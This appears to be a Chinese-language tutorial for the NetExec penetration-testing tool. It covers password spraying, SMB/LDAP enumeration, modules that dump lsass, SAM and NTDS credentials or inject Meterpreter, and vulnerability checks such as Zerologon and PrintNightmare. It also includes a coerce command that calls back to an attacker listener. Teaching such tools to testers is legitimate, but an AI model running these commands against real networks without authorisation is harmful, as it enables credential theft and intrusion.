NetExec!新一代内网/域渗透神器,万字教程
工具介绍
NetExec (nxc) 是一款功能强大的自动化网络安全评估与漏洞测试工具,是 CrackMapExec-已停止维护 (CME) 的现代继任者,现已被渗透测试人员和红队成员广泛使用,可被用于多种协议下的渗透测试中,目前支持的协议如下。
smb
ssh
ldap
ftp
wmi
winrm
rdp
vnc
mssql
nfs
注意:Netexec 并非所有协议都支持相同的功能,如果其中一个功能无法使用,哪么请务必检查每个协议的选项。
部署安装
Kali ?
apt update
apt install netexecBlackArch ?️
pacman -Syu netexec
ParrotSec ?
apt update
apt install netexecpipx安装(推荐使用pipx而不是使用pip)
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
安装完成后可以使用下面两个命令去执行netexec
NetExec
nxcdb如果出现

先重新刷新环境就行了
source ~/.bashrc

Windows?
在Windows上建议使用pipx安装或者直接下载完整编译后的二进制文件,避免因为环境要求过于复杂导致无法正常使用
pip install pipx
python -m pipx ensurepath
python -m pipx install git+https://github.com/Pennyw0rth/NetExec或者下载二进制文件
Releases · Pennyw0rth/NetExec
使用方法
命令格式为
nxc <protocol> <protocol options>
help命令
用法: nxc [-h][-t THREADS][--timeout TIMEOUT][--jitter INTERVAL][--no-progress][--verbose][--debug][--version]{smb,ssh,ldap,ftp,wmi,winrm,rdp,vnc,mssql}...
选项:
-h,--help 显示此帮助信息并退出
-t THREADS 设置要使用的并发线程数(默认:100)
--timeout TIMEOUT 每个线程的最大超时时间(单位:秒,默认:无)
--jitter INTERVAL 设置每个连接之间的随机延迟(默认:无)
--no-progress 在扫描期间不显示进度条
--verbose 启用详细输出
--debug 启用调试级别信息
--version 显示 nxc 版本
协议:
可用协议
{smb,ssh,ldap,ftp,wmi,winrm,rdp,vnc,mssql,nfs}
smb 使用 SMB 进行操作
ssh 使用 SSH 进行操作
ldap 使用 LDAP 进行操作
ftp 使用 FTP 进行操作
wmi 使用 WMI 进行操作
winrm 使用 WINRM 进行操作
rdp 使用 RDP 进行操作
vnc 使用 VNC 进行操作
mssql 使用 MSSQL 进行操作
nfs 使用 NFS 进行操作目标格式
netexec支持的输入的目标格式如下
netexec <protocol> poudlard.wizard
netexec <protocol> 192.168.1.0 192.168.0.2
netexec <protocol> 192.168.1.0/24
netexec <protocol> 192.168.1.0-28 10.0.0.1-67
netexec <protocol> ~/targets.txt凭证
netexec中凭证格式大致如下
// netexec 协议 目标 -u 用户名 -p 密码
netexec <protocol> <target(s)> -u username -p password netexec和cme一样,在完全确认后会在输出中添加_**<font style="color:#DF2A3F;">Pwn3d!</font>**_的标识,下面是netexec支持的协议何时会出现Pwn3d!标识的情况:
| Protocol | See Pwn3d! in output |
| FTP | No check |
| SSH | root (otherwise specific message) ✅ |
| WINRM | Code execution at least ? |
| LDAP | Path to domain admin ? |
| SMB | Most likely local admin ✅ |
| RDP | Code execution at least ? |
| VNC | Code execution at least ? |
| WMI | Most likely local admin ✅ |
PS: 在使用包含特殊符号(尤其是感叹号!)的用户名或密码时,请将它们用单引号括起来,以便让shell 将其解释为字符串。
示例
netexec <protocol> <target(s)> -u username -p 'October2022!'
由于 Python 的参数解析库中的一个错误,以破折号 (-) 开头的凭据会引发“
<font style="color:rgba(55,202,168,1);">expected at least one argument</font>至少需要一个参数”的错误信息。为了解决这个问题,可以使用“长格式”参数指定凭据(注意使用 = 符号)
示例
netexec <protocol> <target(s)> -u='-username' -p='-October2022'
从数据库使用凭据集
通过使用 -id 标志指定凭据 ID(或多个凭据 ID),nxc 将自动从后端数据库中提取该凭据并用于身份验证(节省了大量输入工作)
netexec <protocol> <target(s)> -id <cred ID(s)>
域环境
在域环境下可以将用户和密码凭证保存为文件
netexec <protocol> <target(s)> -u FILE -p password
其中用户名文件格式大致如下
DOMAIN1\user
DOMAIN2\user暴力破解与密码喷洒
所有协议都支持暴力破解和密码喷洒 , 通过指定一个文件或多个值,nxc 将自动对所有目标使用指定协议进行暴力破解登录
// netexec 协议 目标 -u 用户名1 -p 密码1 密码2
netexec <protocol> <target(s)> -u username1 -p password1 password2
// netexec 协议 目标 -u 用户名1 用户名2 -p 密码1
netexec <protocol> <target(s)> -u username1 username2 -p password1
// netexec 协议 目标 -u 用户名字典 -p 密码凭证字典
netexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords
// netexec 协议 目标 -u 用户名字典 -p 密码ntlm hash凭证字典(hash传递)
netexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes使用字典但是不想进行爆破,而是一对一的验证的话可以使用下面的命令,即用户名1对应密码1
netexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes --no-bruteforce
netexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords --no-bruteforce上面的参数执行时格式如下
user1 -> pass1
user2 -> pass2默认情况下,nxc 在找到成功登录后会退出。使用
<font style="color:rgba(55,202,168,1);">--continue-on-success</font>标志可以在找到有效密码后继续进行密码喷洒。这对于针对大型用户列表喷洒单个密码非常有用。需要注意的是,<font style="color:rgba(55,202,168,1);">--continue-on-success</font>标志与命令执行不兼容。
Kerberos
nxc 支持 Kerberos 身份验证,有两种选项:直接使用密码/哈希,或使用票证,并通过 KRB5CCNAME 环境变量指定票证。
PS: 使用
-k或--use-kcache选项时,需要指定与 Kerberos 票证中的主机名(完全限定域名 FQDN)相同的主机名。
示例
$ sudo nxc smb zoro.gold.local -k -u bonclay -p Ocotober2022
SMB zoro.gold.local 445 ZORO [*] Windows 10.0 Build 14393 (name:ZORO) (domain:gold.local) (signing:False) (SMBv1:False)
SMB zoro.gold.local 445 ZORO [+] gold.local\bonclay或者使用--use-kcache
$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache
$ nxc smb zoro.gold.local--use-kcache
SMB zoro.gold.local445 ZORO [*]Windows10.0Build14393(name:ZORO)(domain:gold.local)(signing:False)(SMBv1:False)
SMB zoro.gold.local445 ZORO [+] gold.local\administrator (Pwn3d!)
$ sudo nxc smb zoro.gold.local--use-kcache -x whoami
SMB zoro.gold.local445 ZORO [*]Windows10.0Build14393(name:ZORO)(domain:gold.local)(signing:False)(SMBv1:False)
SMB zoro.gold.local445 ZORO [+] gold.local\administrator (Pwn3d!)
SMB zoro.gold.local445 ZORO [+]Executed command
SMB zoro.gold.local445 ZORO gold\administrator
$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache
$ sudo nxc smb zoro.gold.local--use-kcache -x whoami
SMB zoro.gold.local445 ZORO [*]Windows10.0Build14393(name:ZORO)(domain:gold.local)(signing:False)(SMBv1:False)
SMB zoro.gold.local445 ZORO [+] gold.local\bonclayModules详解
查看协议可使用的模块
nxc <protocol> -L
比如查看smb支持的模块
nxc smb -L

如何使用协议支持的模块
nxc <protocol> <target(s)> -M <module name>
示例
nxc smb <target(s)> -u Administrator -p 'October2022' -M lsassy
查看协议支持模块的可选命令参数
nxc <protocol> -M <module name> --options

既然知道了模块是有参数的,哪么我们可以使用-o参数来设置参数(类似于msfvenom )
nxc <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M lsassy -o COMMAND=xxxxxxxxug'
我们也可以使用-M参数同时运行多个模块
nxc -M module1 -M module2 -M module3
示例
nxc <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M spooler -M printnightmare -M shadowcoerce -M petitpotam
smb支持的模块
低权限模块
[] add-computer 添加或删除域计算机
[] coerce_plus 检测目标是否易受任何coerce漏洞影响。设置监听器IP进行强制操作。
[] dfscoerce [已移除]检测域控制器是否易受DFSCoerce漏洞影响,感谢@filip_dragovic/@Wh04m1001和@topotam
[] drop-sc 在每个可写共享上放置一个searchConnector-ms文件
[] enum_av 通过LsarLookupNames收集远程主机上安装的所有终端防护解决方案的信息(无需权限)
[] enum_ca 匿名使用RPC端点搜寻ADCS证书颁发机构
[] gpp_autologin 在域控制器中搜索registry.xml以查找自动登录信息,并返回用户名和密码。
[] gpp_password 检索通过组策略首选项推送的帐户的明文密码和其他信息。
[] ioxidresolver 帮助您识别具有其他活动接口的主机
[] ms17-010 MS17-010-EternalBlue-未在非实验室环境中测试
[] nopac 检测域控制器是否易受CVE-2021-42278和CVE-2021-42287漏洞影响,以便从标准域用户冒充域管理员
[] petitpotam [已移除]检测域控制器是否易受PetitPotam漏洞影响,感谢@topotam
[] printerbug [已移除]检测目标是否易受PrinterBug漏洞影响。设置监听器IP进行强制操作。
[] printnightmare 检测主机是否易受printnightmare漏洞影响
[] scuffy 创建并转储一个包含指向声明SMB服务器的UNC路径的图标属性的任意.scf文件,针对所有可写共享
[] shadowcoerce [已移除]检测目标是否易受ShadowCoerce漏洞影响,感谢@Shutdown和@topotam
[] slinky 在所有具有写权限的共享中创建包含指向指定服务器(默认SMB)的URI的图标属性的Windows快捷方式
[] smbghost 检测主机的SMB和压缩功能,这是SMBGhost漏洞(CVE-2020-0796)的标识
[] spider_plus 递归列出文件并将JSON共享文件元数据保存到'OUTPUT_FOLDER'。有关更精细的配置,请参阅模块选项。
[] spooler 检测打印后台处理程序是否已启用
[] webdav 检查WebClient服务是否在目标上运行
[] zerologon 检测域控制器是否易受Zerologon(CVE-2020-1472)漏洞影响
高权限模块(需要管理员权限)
[] bitlocker 枚举目标上的BitLocker状态,检查其是否已启用或禁用。
[] empire_exec 使用Empire的RESTful API为指定监听器生成启动器并执行它
[] enum_dns 使用WMI从AD DNS服务器转储DNS
[] firefox 从Firefox中转储凭据
[] get_netconnections 使用WMI查询网络连接。
[] handlekatz 使用handlekatz64获取lsass转储并使用pypykatz解析结果
[] hash_spider 从给定哈希中递归转储lsass,使用BH查找本地管理员
[] hyperv-host 在虚拟机上执行注册表查询以查找其HyperV主机
[] iis 使用appcmd.exe检查IIS应用程序池配置文件中的凭据
[] impersonate 列出并冒充令牌,以作为本地登录用户运行命令
[] install_elevated 检查AlwaysInstallElevated
[] keepass_discover 搜索与KeePass相关的文件和进程。
[] keepass_trigger 设置恶意KeePass触发器以明文导出数据库。
[] lsassy 转储lsass并远程使用lsassy解析结果
[] masky 通过ADCS和KDC远程转储域用户凭据
[] met_inject 下载Meterpreter加载程序并将其注入内存
[] mobaxterm 通过RemoteRegistry或NTUSER.dat导出远程转储MobaXterm凭据
[] mremoteng 在AppData和Desktop/Documents文件夹中转储mRemoteNG密码(在这些文件夹中递归挖掘)
[] msol 从Azure AD-Connect服务器上的localDB中转储MSOL明文密码
[] nanodump 使用nanodump获取lsass转储并使用pypykatz解析结果
[] ntdsutil 使用ntdsutil转储NTDS
[] ntlmv1 检测目标上的lmcompatibilitylevel是否设置为低于3(意味着启用了ntlmv1)
[] pi 通过进程注入作为登录用户运行命令
[] powershell_history 提取所有用户的PowerShell历史记录,并查找敏感命令。
[] procdump 使用procdump64获取lsass转储并使用pypykatz解析结果
[] putty 查询注册表中保存了ssh私钥的用户。如果找到,则下载私钥。
[] rdcman 远程转储远程桌面连接管理器(sysinternals)凭据
[] rdp 启用/禁用RDP
[] reg-query 在计算机上执行注册表查询
[] reg-winlogon 收集存储在注册表中的自动登录凭据
[] runasppl 检查是否设置了RunAsPPL注册表值
[] schtask_as 作为登录用户远程执行计划任务
[] security-questions 获取计算机上用户的安全问题和答案
[] teams_localdb 从本地MicrosoftTeams数据库中检索明文ssoauthcookie,如果Teams打开,则终止所有Teams进程
[] test_connection Ping主机
[] uac 检查UAC状态
[] veeam 从本地Veeam SQL数据库中提取凭据
[] vnc 从VNC服务器和客户端配置中掠夺密码
[] wcc 检查Windows机器上的各种安全配置项
[] wdigest 创建/删除'UseLogonCredential'注册表键,以在Windows>=8.1上启用WDigest凭据转储
[] web_delivery 使用exploit/multi/script/web_delivery模块启动Metasploit有效负载
[] wifi 获取所有无线接口的密钥
[] winscp 在注册表和默认位置中查找WinSCP.ini文件,并尝试提取凭据。ssh支持的模块

ldap支持的模块
低权限模块
[] adcs 在ActiveDirectory中查找PKI注册服务和证书模板名称
[] daclread 读取并备份对象的自主访问控制列表(DACL)。请注意,此模块无法递归读取DACL,有关详细信息请参见选项。
[] enum_trusts 提取所有信任关系、信任方向和信任传递性
[] find-computer 通过提供的文本在域中查找计算机
[]get-desc-users 获取用户描述。可能包含密码
[]get-network 查询域中所有DNS记录及其对应的IP地址
[]get-unixUserPassword 从LDAP中的所有用户获取unixUserPassword属性
[]get-userPassword 从LDAP中的所有用户获取userPassword属性
[]group-mem 检索组内的所有成员
[] groupmembership 查询用户所属的组
[] laps 检索账户具有读取权限的所有LAPS密码
[] ldap-checker 检查是否要求并/或强制LDAP签名和绑定
[] maq 检索域级别的MachineAccountQuota属性
[] obsolete 从LDAP中提取所有已过时的操作系统
[] pre2k 识别预先创建的计算机账户,将结果保存到文件,并为每个账户获取TGT
[] pso 获取精细粒度密码策略/PSO的模块
[] sccm 在ActiveDirectory中查找SCCM基础设施
[] subnets 检索ActiveDirectory的不同站点和子网
[] user-desc 获取存储在ActiveDirectory中的用户描述
[] whoami 获取所提供用户的详细信息
高权限模块(需要管理员权限)ftp支持的模块

wmi支持的模块
低权限模块
[] ioxidresolver 此模块帮助您识别具有其他活动接口的主机
[] spooler 检测打印后台处理程序是否已启用
[] zerologon 模块用于检查域控制器是否易受Zerologon(又称CVE-2020-1472)攻击
高权限模块(需要管理员权限)
[] bitlocker 枚举目标上的BitLocker状态,判断其是否已启用或禁用
[] enum_dns 使用WMI从AD DNS服务器上导出DNS信息
[] get_netconnections 使用WMI查询网络连接
[] rdp 启用/禁用远程桌面协议(RDP)winrm支持的模块

rdp支持的模块

vnc支持的模块

mssql支持的模块
低权限模块
[] mssql_priv 枚举并利用MSSQL的权限
高权限模块(需要管理员权限)
[] empire_exec 使用Empire的RESTful API为指定的监听器生成启动器并执行它
[] met_inject 下载Meterpreter的加载器并将其注入内存
[] nanodump 使用nanodump获取lsass转储,并使用pypykatz解析结果
[] test_connection 对主机进行ping测试
[] web_delivery 使用exploit/multi/script/web_delivery模块启动Metasploit Payloadnfs支持的模块

自定义DNS
可以设置多个参数选项来配置使用的 DNS 服务器。除了强制 NetExec 使用 IPv6,还可以手动设置 DNS 服务器、设置 DNS 超时或配置使用 TCP 进行 DNS 解析 :
//手动设置 DNS 服务器
netexec <protocol><target(s)>-u username -p password --dns-server <dns-server ip>
//设置 DNS 超时
netexec <protocol><target(s)>-u username -p password --dns-timeout <seconds>
//使用 TCP 进行 DNS 解析
netexec <protocol><target(s)>-u username -p password --dns-tcp # Use TCP for DNS
//使用ipv6
netexec <protocol><target(s)>-u username -p password -6 # Enforce ipv6Netexec 数据库的通用用法
nxc 会自动将所有使用过的或提取的凭据(以及其他信息)存储在其数据库中,该数据库在首次运行时设置。
并且每个协议都有自己的数据库,这使得管理更加合理,并且提供了很好的功能。此外,还有工作区(类似于 Metasploit),用于区分不同的渗透测试或项目。
所有工作区及其相关数据库存储在 ~/.nxc/workspaces 目录中。
如何与数据库交互
nxc 附带一个名为 nxcdb 的二级命令行脚本,用于简化与后端数据库的交互。输入命令 nxcdb 将进入一个命令行界面
#~ nxcdb
nxcdb (default) >
随时输入 help 可以查看可用命令的列表
nxcdb (default)(smb) > help
Documented commands (type help <topic>):
========================================
clear_database creds dpapi exit export groups help hosts shares wcc
Undocumented commands:
======================
back import工作区
默认的工作区名称为“default“。一旦选择了一个工作区,你在 nxc 中执行的所有操作都会存储在该工作区中。
要创建一个工作区,可以使用以下命令
nxcdb (default) > workspace create test
[*] Creating workspace 'test'
<-- CUT -->
nxcdb (test) >如何切换工作区,使用workspace 工作区名即可切换
nxcdb (test) > workspace default
nxcdb (default) >查看工作区列表
nxcdb (test) > workspace list
[*] Enumerating Workspaces
default
==> test前面说过,每种协议有单独的数据库,使用<font style="color:rgba(55,202,168,1);">proto <protocol></font>命令可以切换到对应的数据库
示例
nxcdb (test) > proto smb
nxcdb (test)(smb) >这里需要注意的是每种协议的数据库指令也不是完全相同的,所以执行命令时最好先查看帮助
nxcdb (test)(smb) > help
Documented commands (type help <topic>):
========================================
clear_database creds dpapi exit export groups help hosts shares wcc
Undocumented commands:
======================
back import
nxcdb (test)(smb) >对于如何在同一个工作区中切换不同协议的数据库
nxcdb (test)(smb) > back
nxcdb (test) > proto http
nxcdb (test)(http) >当然也可以从数据库导出凭证
nxcdb (test)(smb) > export shares detailed file.csv
查看导出帮助
nxcdb (default)(smb) > help export
export [creds|hosts|local_admins|shares|signing|keys] [simple|detailed|*] [filename]
Exports information to a specified file
* hosts has an additional third option from simple and detailed: signing - this simply writes a list of ips of
hosts where signing is enabled
* keys' third option is either "all" or an id of a key to export
export keys [all|id] [filename]日志存储
netexec可以像fscan一样将命令的输出结果写入的文件,方便后续查看,共有两种方法记录日志:
1.配置nxc.conf的参数log_mode:log_mode = True,配置完成后将像fscan一样自动记录命令执行记录和结果输出记录(强烈推荐,方便甩锅写报告)
2.在执行命令时添加--log参数,记录当前命令的执行记录
SMB协议详解
参数
位置参数:
target:目标IP地址、范围、CIDR、主机名、FQDN、包含目标列表的文件、NMap XML或.Nessus文件。
选项:
-h,--help:显示此帮助信息并退出。
-H HASH [HASH ...],--hash HASH [HASH ...]:NTLM哈希值或包含NTLM哈希值的文件。
--delegate DELEGATE:使用S4U2Self + S4U2Proxy进行用户模拟。
--self:仅执行S4U2Self,不执行S4U2Proxy(与delegate一起使用)。
-d DOMAIN,--domain DOMAIN:要认证到的域。
--local-auth:对每个目标进行本地认证。
--port PORT:SMB端口(默认:445)。
--share SHARE:指定共享(默认:C$)。
--smb-server-port SMB_SERVER_PORT:指定SMB服务器端口(默认:445)。
--gen-relay-list OUTPUT_FILE:将不需要SMB签名的所有主机输出到指定文件。
--smb-timeout SMB_TIMEOUT:SMB连接超时(默认:2)。
--laps [LAPS]:LAPS认证。
通用选项:
适用于nxc跨协议的通用选项。
--version:显示nxc版本。
-t THREADS,--threads THREADS:设置要使用的并发线程数(默认:256)。
--timeout TIMEOUT:每个线程的最大超时时间(秒)。
--jitter INTERVAL:在每个认证之间设置随机延迟。
输出选项:
用于设置详细级别和控制输出的选项。
--verbose:启用详细输出。
--debug:启用调试级别信息。
--no-progress:在扫描期间不显示进度条。
--log LOG:将结果导出到自定义文件。
DNS选项:
-6:强制启用IPv6。
--dns-server DNS_SERVER:指定DNS服务器(默认:使用hosts文件和系统DNS)。
--dns-tcp:使用TCP而不是UDP进行DNS查询。
--dns-timeout DNS_TIMEOUT:DNS查询超时时间(秒)(默认:3)。
认证选项:
用于认证的选项。
-u USERNAME [USERNAME ...],--username USERNAME [USERNAME ...]:用户名或包含用户名的文件。
-p PASSWORD [PASSWORD ...],--password PASSWORD [PASSWORD ...]:密码或包含密码的文件。
-id CRED_ID [CRED_ID ...]:用于认证的数据库凭证ID。
--ignore-pw-decoding:解码密码文件时忽略非UTF-8字符。
--no-bruteforce:当使用文件指定用户名和密码时,不进行喷洒攻击(user1对应password1,user2对应password2)。
--continue-on-success:即使成功后也继续尝试认证。
--gfail-limit LIMIT:全局失败登录尝试的最大次数。
--ufail-limit LIMIT:每个用户名的最大失败登录尝试次数。
--fail-limit LIMIT:每个主机的最大失败登录尝试次数。
Kerberos认证选项:
-k,--kerberos:使用Kerberos认证。
--use-kcache:从ccache文件(KRB5CCNAME)使用Kerberos认证。
--aesKey AESKEY [AESKEY ...]:用于Kerberos认证的AES密钥(128或256位)。
--kdcHost KDCHOST:域控制器的FQDN。如果省略,将使用目标参数中指定的域部分(FQDN)。
服务器选项:
用于nxc服务器的选项。
--server {http,https}:选择使用的服务器(默认:https)。
--server-host HOST:将服务器绑定到的IP地址(默认:0.0.0.0)。
--server-port PORT:在指定端口上启动服务器。
--connectback-host CHOST:远程系统回连的IP地址。
模块选项:
用于nxc模块的选项。
-M MODULE,--module MODULE:要使用的模块。
-o MODULE_OPTION [MODULE_OPTION ...]:模块选项。
-L,--list-modules:列出可用模块。
--options:显示模块选项。
凭证收集选项:
用于收集凭证的选项。
--sam:从目标系统转储SAM哈希。
--lsa:从目标系统转储LSA秘密。
--ntds [{drsuapi,vss}]:使用指定方法从目标域控制器转储NTDS.dit。
--dpapi [{nosystem,cookies}...]:从目标系统转储DPAPI秘密,如果添加'cookies'则可以转储cookies,如果添加nosystem则不会转储SYSTEM dpapi。
--sccm [{disk,wmi}]:从目标系统转储SCCM秘密。
--mkfile MKFILE:DPAPI选项。包含主密钥的文件,格式为{GUID}:SHA1。
--pvk PVK:DPAPI选项。包含域备份密钥的文件。
--enabled:仅从域控制器转储启用的目标。
--user USERNTDS:从域控制器转储选定的用户。
映射/枚举选项:
用于映射/枚举的选项。
--shares:枚举共享和访问权限。
--interfaces:枚举网络接口。
--no-write-check:跳过共享写入检查(当缺少删除权限时避免留下痕迹)。
--filter-shares FILTER_SHARES [FILTER_SHARES ...]:按访问权限过滤共享,选项为'read'、'write'或'read,write'。
--sessions:枚举活动会话。
--disks:枚举磁盘。
--loggedon-users-filter LOGGEDON_USERS_FILTER:仅搜索特定用户,支持正则表达式。
--loggedon-users:枚举登录的用户。
--users [USER ...]:枚举域用户,如果指定了用户,则仅查询该用户的信息。
--groups [GROUP]:枚举域组,如果指定了组,则枚举其成员。
--computers [COMPUTER]:枚举计算机用户。
--local-groups [GROUP]:枚举本地组,如果指定了组,则枚举其成员。
--pass-pol:转储密码策略。
--rid-brute [MAX_RID]:通过暴力破解RID来枚举用户。
WMI选项:
用于WMI查询的选项。
--wmi QUERY:执行指定的WMI查询。
--wmi-namespace NAMESPACE:WMI命名空间(默认:root\cimv2)。
爬虫选项:
用于爬虫共享的选项。
--spider SHARE:要爬行的共享。
--spider-folder FOLDER:要爬行的文件夹(默认:.)。
--content:启用文件内容搜索。
--exclude-dirs DIR_LIST:从蜘蛛爬行中排除的目录。
--depth DEPTH:蜘蛛爬行的最大递归深度。
--only-files:仅爬行文件。
--pattern PATTERN [PATTERN ...]:在文件夹、文件名和文件内容中搜索的模式。
--regex REGEX [REGEX ...]:在文件夹、文件名和文件内容中搜索的正则表达式。
文件选项:
用于远程文件交互的选项。
--put-file FILE FILE:将本地文件放入远程目标,例如:whoami.txt \Windows\Temp\whoami.txt。
--get-file FILE FILE:获取远程文件,例如:\Windows\Temp\whoami.txt whoami.txt。
--append-host:将主机名附加到get-file文件名中。
命令执行选项:
用于执行命令的选项。
--exec-method {mmcexec,smbexec,atexec,wmiexec}:执行命令的方法。在MSSQL模式下忽略(默认:wmiexec)。
--dcom-timeout DCOM_TIMEOUT:DCOM连接超时(默认:5)。
--get-output-tries GET_OUTPUT_TRIES:atexec/smbexec/mmcexec尝试获取结果的次数(默认:10)。
--codec CODEC:设置从目标输出使用的编码(编解码器)。如果检测到错误,请在目标上运行chcp.com,并使用https://docs.python.org/3/library/codecs.html#standard-encodings中的结果映射,然后再次执行并使用--codec和相应的编解码器(默认:utf-8)。
--no-output:不检索命令输出。
-x COMMAND:执行指定的CMD命令。
-X PS_COMMAND:执行指定的PowerShell命令。
PowerShell混淆选项:
用于PowerShell脚本混淆的选项。
--obfs:混淆PowerShell脚本。
漏洞扫描
ZeroLogon漏洞
检测域控制器是否易受Zerologon(CVE-2020-1472)漏洞影响
nxc smb <ip> -u '' -p '' -M zerologon
noPAC漏洞
检测域控制器是否易受CVE-2021-42278和CVE-2021-42287漏洞影响,以便从标准域用户冒充域管理员
PS:使用此模块进行漏洞扫描时需要先提供一个可用的凭证
nxc smb <ip> -u 'user' -p 'pass' -M nopac
PrintNightmare漏洞
检测主机是否易受printnightmare漏洞(打印机漏洞,好用)影响
nxc smb <ip> -u '' -p '' -M printnightmare
SMBGhost漏洞
检测主机的SMB和压缩功能,这是SMBGhost漏洞(CVE-2020-0796)的标识
nxc smb <ip> -u '' -p '' -M smbghost
MS17-010 漏洞
老洞,不比多说
nxc smb <ip> -u '' -p '' -M ms17-010
上面的漏洞模块丰富了netexec的功能
coerce漏洞
在使用coerce_plus模块来检查(如PetitPotam、DFSCoerce、PrinterBug、MSEven和ShadowCoerce等)coerce漏洞时,确实可以通过该模块进行操作。此外,你还可以使用凭据来进一步检查这些漏洞。默认情况下,监听器的IP地址会被设置为localhost,这意味着网络上不会出现相关的流量,这样的设置有助于在进行安全测试时保护隐私和减少不必要的网络活动。
nxc smb <ip> -u '' -p '' -M coerce_plus
如果发现漏洞,可以尝试回连
nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP>
在使用coerce_plus模块或类似的安全测试工具时,如果想要一次性运行所有的漏洞利用方法,而不是在RPC(远程过程调用)连接报告成功强制(coercion)后就停止,可以添加<font style="color:rgb(5, 7, 59);">ALWAYS=true</font>选项。
nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP> ALWAYS=true
当然,也可以只检测指定的coerce漏洞类型
nxc smb <ip> -u '' -p '' -M coerce_plus -o METHOD=PetitPotam
枚举探测
网络主机探测
nxc smb 10.0.0.0/8
nxc smb 172.16.0.0/12
nxc smb 192.168.0.0/16结果输出示例
SMB 192.168.1.101445 DC2012A [*]WindowsServer2012 R2 Standard9600 x64 (name:DC2012A)(domain:OCEAN)(signing:True)(SMBv1:True)
SMB 192.168.1.102445 DC2012B [*]WindowsServer2012 R2 Standard9600 x64 (name:DC2012B)(domain:EARTH)(signing:True)(SMBv1:True)
SMB 192.168.1.110445 DC2016A [*]WindowsServer2016StandardEvaluation14393 x64 (name:DC2016A)(domain:OCEAN)(signing:True)(SMBv1:True)
SMB 192.168.1.117445 WIN10DESK1 [*] WIN10DESK1 x64 (name:WIN10DESK1)(domain:OCEAN)(signing:False)(SMBv1:True)空Sessions探测
探测**Null Session**漏洞,也成称为Anonymous session匿名会话漏洞,在内网时比较好用
nxc smb 10.10.10.161-u ''-p ''
nxc smb 10.10.10.161-u ''-p ''--shares
nxc smb 10.10.10.161-u ''-p ''--pass-pol
nxc smb 10.10.10.161-u ''-p ''--users
nxc smb 10.10.10.161-u ''-p ''--groups如果检测出改匿名会话漏洞,哪么使用下面的命令尝试利用
smbclient -N -U "" -L \\10.10.10.161
或者
rpcclient -N -U "" -L \\10.10.10.161
rpcclient $> enumdomusers
user:[bonclay] rid:[0x46e]
user:[zoro] rid:[0x46f]漏洞测试地址
Oooops!
Oooops!
枚举不需要认证的(未授权)smb主机
nxc smb 192.168.1.0/24 --gen-relay-list relay_list.txt
输出示例
SMB 192.168.1.101445 DC2012A [*]WindowsServer2012 R2 Standard9600 x64 (name:DC2012A)(domain:OCEAN)(signing:True)(SMBv1:True)
SMB 192.168.1.102445 DC2012B [*]WindowsServer2012 R2 Standard9600 x64 (name:DC2012B)(domain:EARTH)(signing:True)(SMBv1:True)
SMB 192.168.1.111445 SERVER1 [*]WindowsServer2016StandardEvaluation14393 x64 (name:SERVER1)(domain:PACIFIC)(signing:False)(SMBv1:True)
SMB 192.168.1.117445 WIN10DESK1 [*] WIN10DESK1 x64 (name:WIN10DESK1)(domain:OCEAN)(signing:False)(SMBv1:True)
...SNIP...
#~ cat relay_list.txt
192.168.1.111
192.168.1.117Active Sessions探测
探测远程主机上正在进行的会话
nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sessions
枚举共享的访问权限(实用)
枚举所有共享的访问权限
nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --shares
可以通过只读、只写进行区分
#~ nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --shares --filter-shares READ WRITE
枚举网络接口(路由)
此命令至少需要远程目标的本地管理员权限,如果使用的用户是本地帐户,请使用选项 --local-auth
nxc smb 192.168.56.11 -u USERNAME -p 'PASSWORDHERE' --interfaces

枚举远程主机的磁盘
nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --disks
枚举远程主机上已经登录的用户
nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --loggedon-users
枚举远程主机上的域用户
nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --users
使用RID枚举远程主机上的用户
nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --rid-brute
枚举远程主机上的域用户组
nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --groups
枚举远程主机上的本地用户组
nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-group
枚举域用户口令策略
nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --pass-pol
密码喷洒
使用用户名/密码列表进行喷射
通过空格分隔多个用户名或密码
nxc smb 192.168.1.101 -u user1 user2 user3 -p Summer18
nxc smb 192.168.1.101 -u user1 -p password1 password2 password3使用用户名/密码字典进行喷射
PS:这里需要注意对面是否有密码多次错误导致账户锁定的策略
nxc smb 192.168.1.101 -u /path/to/users.txt -p Summer18
nxc smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt默认情况下,nxc 会在找到成功登录后退出。使用 --continue-on-success参数,这样即使在找到有效密码后,它也会继续喷射。对于针对大型用户列表喷洒单个密码很有用。
PS:这与命令执行不兼容
nxc smb 192.168.1.101 -u /path/to/users.txt -p Summer18 --continue-on-success
使用username == password式进行凭证字典喷射
用户名字典和密码字典的内容一行对一行:
user1:pass1
user2:pass2
user3:pass3
nxc smb 192.168.1.101 -u user.txt -p user.txt --no-bruteforce --continue-on-success
nxc smb 192.168.1.101 -u user.txt -p password.txt --no-bruteforce --continue-on-success使用排列组合式进行凭证字典喷射
用户名字典和密码字典的内容进行排列组合然后进行喷射:
user1:pass1
user1:pass2
user2:pass1
user2:pass2
nxc smb 192.168.1.101 -u user.txt -p password.txt
Authentication(身份认证)
认证成功与失败的颜色:
身份认证失败:红色
身份认证成功:绿色
身份认证失败,但是提供的密码有效:品红色
域用户身份认证
登录失败会导致 [-]
成功登录后会生成 [+] DomainUsername:Password
